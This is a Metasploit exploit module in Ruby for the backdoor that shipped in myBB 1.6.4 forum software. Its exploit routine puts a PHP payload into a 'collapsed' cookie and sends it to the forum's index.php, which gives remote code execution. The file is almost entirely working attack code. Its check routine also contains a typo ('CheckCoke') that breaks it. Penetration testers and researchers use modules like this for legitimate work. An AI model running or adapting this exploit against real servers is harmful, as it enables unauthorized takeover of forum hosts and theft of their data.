myBB 1.6.4 Backdoor Exploit

##
# $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'myBB 1.6.4 Backdoor Exploit',
   'Description'    => %q{
     myBB is a popular open source PHP forum software. Version 1.6.4 contained an
     unauthorized backdoor, distributed as part of the vendor's source package.
   },
   'Author' =>
    [
     'tdz',
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13838 $',
   'References'     =>
    [
     [ 'BID', '49993'  ],
     [ 'SECUNIA', '46300' ],
     [ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'Space'       => 4000,
     'DisableNops' => true,
     'Keys'        => ['php'],
    },
   'Targets'        => [ ['Automatic', { }], ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 06 2011'
   ))

   register_options(
    [
     OptString.new('URI', [ true, "myBB path", '/index.php']),
    ], self.class)
 end

 def uri
  datastore['URI']
 end

 def check
  print_status("Checking target")
  res = send_request_raw(
   {'method' => 'GET',
   'uri' => uri},
   10
  )
  if (not res) or (not res.code.between?(200,299))
   return Exploit::CheckCode::Safe
  else
   return Exploit::CheckCoke::Detected
  end
 end

 def exploit
 
  print_status("Sending exploit request")

  # See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt
  # for details of the backdoor mechanism.
  cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
  cookie << Rex::Text.uri_encode(payload.encoded)
  
  response = send_request_raw({
   'method'  => 'GET',
   'global' => true,
   'uri' => uri,
   'headers' =>
    {
     'Cookie' => cookie,
    }
  },10)

  if (not response) or (not response.code.between?(200,299))
   print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
  else
   handler
  end

 end
end